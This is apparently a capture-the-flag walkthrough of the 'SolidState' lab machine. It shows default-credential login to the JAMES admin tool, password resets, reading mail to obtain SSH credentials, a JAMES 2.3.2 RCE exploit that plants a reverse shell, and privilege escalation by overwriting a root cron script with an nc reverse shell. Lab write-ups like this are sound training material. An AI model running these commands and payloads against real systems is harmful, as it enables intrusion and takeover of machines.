




0x1 Scan

Found a potential email from home page.

- webadmin@solid-state-security.com

SUBMIT YOUR INFORMATION AND WE WILL GET IN TOUCH WITH YOU

All fields are mandatory

NAME	<input type="text"/>	 Solid State Security 501 E. Pratt St Baltimore, MD 21202
EMAIL	<input type="text"/>	 (555) 555-5555
MESSAGE	<input type="text"/>	 webadmin@solid-state-security.com

0x3 4555 (James Admin)

It is running *JAMES Remote Administrator Tool 2.3.2*.

I try default credential *root:root* and it works.

```
ghost@localhost [16:47:06] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % telnet 10.10.10.51 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
[]
```

I list users. There are 5. I set all of their passwords.

```
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin
setpassword james pwned
Password for james reset
setpassword thomas pwned
Password for thomas reset
setpassword john pwned
Password for john reset
setpassword mindy pwned
Password for mindy reset
setpassword mailadmin pwned
Password for mailadmin reset
```

0x4 POP3 (110) Foothold

I check each user emails.

Emails

James

```
ghost@localhost [16:56:30] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
login james
user james
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
-ERR
+OK
pass pwned
+OK Welcome james
list
+OK 0 0
.

exit
-ERR
quit
+OK Apache James POP3 Server signing off.
Connection closed by foreign host.
```

thomas

```
ghost@localhost [16:57:04] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
user thomas
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
+OK
pass pwned
+OK Welcome thomas
list
+OK 0 0
.
quit
+OK Apache James POP3 Server signing off.
Connection closed by foreign host.
```

john

```
ghost@localhost [16:58:07] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
user john
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
+OK
pass pwned
+OK Welcome john
list
+OK 1 743
1 743
.
read 1
-ERR
get 1
-ERR
help
-ERR
list
+OK 1 743
1 743
.
read 743
-ERR
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
        by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
        for <john@localhost>;
        Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John,

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

Thank you in advance.

Respectfully,
James
```

mindy

```
ghost@localhost [17:00:10] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^['.
user mindy
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
+OK
pass pwned
+OK Welcome mindy
list
+OK 2 1945
1 1109
2 836
.
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
        by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
        for <mindy@localhost>;
        Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission
of our organization. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth
transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security.

Respectfully,
James
.
retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
        by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
        for <mindy@localhost>;
        Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,

Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James
.
```

mailadmin

```
ghost@localhost [17:01:25] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
user mailadmin
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
+OK
pass pwned
+OK Welcome mailadmin
list
+OK 0 0
.
quit
+OK Apache James POP3 Server signing off.
Connection closed by foreign host.
```

So *john* and *mindy* got emails.

From *mindy* email I got her SSH credential.

- *mindy:P@55W0rd1!2@*

SSH mindy

```
ghost@localhost [17:03:33] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % ssh mindy@10.10.10.51
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$
```

But it is in *rbash* (restricted bash).

```
mindy@solidstate:~$ ls
bin  user.txt
mindy@solidstate:~$ cat user.txt
4d0ef70d462f384944084290abe24467
mindy@solidstate:~$ ifconfig
-rbash: ifconfig: command not found
mindy@solidstate:~$
```

`$PATH` is readonly.

```
mindy@solidstate:~$ echo $PATH
/home/mindy/bin
mindy@solidstate:~$ export PATH=/usr/bin:/usr/local/bin:$PATH
-rbash: PATH: readonly variable
mindy@solidstate:~$
```

So I look for a way to jailbreak but not much command is found to do so.

James Admin 2.3.2 RCE

<https://www.exploit-db.com/exploits/35513>

I execute the payload.

```
ghost@localhost [17:13:57] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % python3 50347.py 10.10.10.51 10.10.14.6 80
[+]Payload Selected (see script for more options): /bin/bash -i >& /dev/tcp/10.10.14.6/80 0>&1
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 80
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
[+]Don't forget to start a listener on port 80 before logging in!
```


Then *ssh* as *mindy*.

```
ghost@localhost [17:14:37] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % ssh mindy@10.10.10.51
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jan  8 04:11:04 2023 from 10.10.14.6
-rbash: $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317;\003': command not found
-rbash: L: command not found
-rbash: attributestLjava/util/HashMap: No such file or directory
-rbash: L
      errorMessageetLjava/lang/String: No such file or directory
-rbash: L
      lastUpdatedetLjava/util/Date: No such file or directory
-rbash: LmessageetLjavax/mail/internet/MimeMessage: No such file or directory
-rbash: $'L\004nameq~\002L': command not found
-rbash: recipientstLjava/util/Collection: No such file or directory
-rbash: L: command not found
-rbash: $'remoteAddrq~\002L': command not found
-rbash: remoteHostq~LsenderetLorg/apache/mailet/MailAddress: No such file or directory
-rbash: $'\221\222\204m\307{\244\002\003I\003posL\004hostq~\002L\004userq~\002xp': command not found
-rbash: $'L\005stateq~\002xpsr\035org.apache.mailet.MailAddress': command not found
-rbash: @team.pl>
Message-ID: <25740368.0.1673169087730.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../etc/bash_completion.d@localhost
Received: from 10.10.14.6 ([10.10.14.6])
      by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 987
      for <../../../../../../etc/bash_completion.d@localhost>;
      Sun, 8 Jan 2023 04:10:47 -0500 (EST)
Date: Sun, 8 Jan 2023 04:10:47 -0500 (EST)
From: team@team.pl

: No such file or directory
```

Payload is executed and I got reverse shell.

```
ghost@localhost [17:10:00] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.51] 40780
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ whoami
whoami
mindy
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
```

I am not in the *rbash* either.

0x5 Foothold

user.txt flag

```

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cat user.txt
cat user.txt
4d0ef70d462f384944084290abe24467
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:4c:92 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.51/24 brd 10.10.10.255 scope global ens192
        valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:4c92/64 scope global mngtmpaddr dynamic
        valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:feb9:4c92/64 scope link
        valid_lft forever preferred_lft forever
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ hostname
hostname
solidstate
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$

```

Linpeas (mindy)

I downloaded *linpeas* and inspect.

```

${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ curl 10.10.14.6/linpeas.sh -o linpeas.sh
peas.sh -o linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 808k  100 808k    0     0  137k      0  0:00:05  0:00:05 --:--:-- 160k
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ bash linpeas.sh > mindy.peas.out
indy.peas.outsh > mi
. . . . . cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
logrotate 3.11.0
linpeas.sh: line 4701: printf: write error: Broken pipe

```

Then I copy back to my machine.

```

linpeas.sh mindy.peas.out
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ nc -w 3 10.10.14.6 80 < mindy.peas.out
80 < mindy.peas.out8
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$

```

port 631

Something running at port 631.

Active Ports						
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports						
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.1:631	0.0.0.0:*	LISTEN	-
tcp6	0	0	::: 22	::: *	LISTEN	-
tcp6	0	0	:::1:631	::: *	LISTEN	-
tcp6	0	0	::: 119	::: *	LISTEN	-
tcp6	0	0	::: 25	::: *	LISTEN	-
tcp6	0	0	::: 4555	::: *	LISTEN	-
tcp6	0	0	::: 110	::: *	LISTEN	-
tcp6	0	0	::: 80	::: *	LISTEN	-

Basic enumeration

There's a user called *James*.

```
su: Authentication failure
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ ls /home
ls /home
james mindy
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$
```

I look for file owned by root and writable by anyone.

```
mindy@solidstate:~$ find / -user root -perm -002 -type f -not -path "/proc/*" 2>/dev/null
oot -perm -002 -type f -not -path "/proc/*" 2>/dev/null
/opt/tmp.py
/sys/fs/cgroup/memory/cgroup.event_control
```

Found an interesting file under */opt/tmp.py*.

/opt/tmp.py writable

I copy the backup, then replace with the following.

```
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
    os.system('rm -r /tmp/* ')
except:
    sys.exit()

{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -al
ls -al
total 16
drwxr-xr-x  3 root root 4096 Aug 22  2017 .
drwxr-xr-x 22 root root 4096 May 27  2022 ..
drwxr-xr-x 11 root root 4096 Apr 26  2021 james-2.3.2
-rwxrwxrwx  1 root root  105 Aug 22  2017 tmp.py
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cp tmp.py ~/tmp.py.bk
cp tmp.py ~/tmp.py.bk
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$
```

Then I replace with malicious code.

```
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ echo "#!/usr/bin/env python" > tmp.py
thon" > tmp.pyin/env pyt
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ echo "import os" >> tmp.py
.pyo "import os" >> tmp.
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ echo "os.system('nc 10.10.14.6 80 -e /bin/bash')" >> tmp.py
10.14.6 80 -e /bin/bash'" >> tmp.py
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
cat tmp.py
#!/usr/bin/env python
import os
os.system('nc 10.10.14.6 80 -e /bin/bash')
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$
```

Now I need to find a way to trigger. I check *cronjob*.

```
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
```

No cronjob. But it could be because crnojob is set up to

/var/spool/cron/crontabs/root.

I am not able to read the file.

It is confirmed, because after few minutes, I receives a reverse shell on netcat listener.

```
ghost@localhost [17:50:05] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-08/solidstate] [master *]
→ % nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.51] 40798
whoami
root

cd /root

ls
root.txt

cat root.txt
eca685097086322b063a9366e03ee27d

ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:4c:92 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.51/24 brd 10.10.10.255 scope global ens192
        valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:4c92/64 scope global mngtmpaddr dynamic
        valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:feb9:4c92/64 scope link
        valid_lft forever preferred_lft forever

hostname
solidstate
```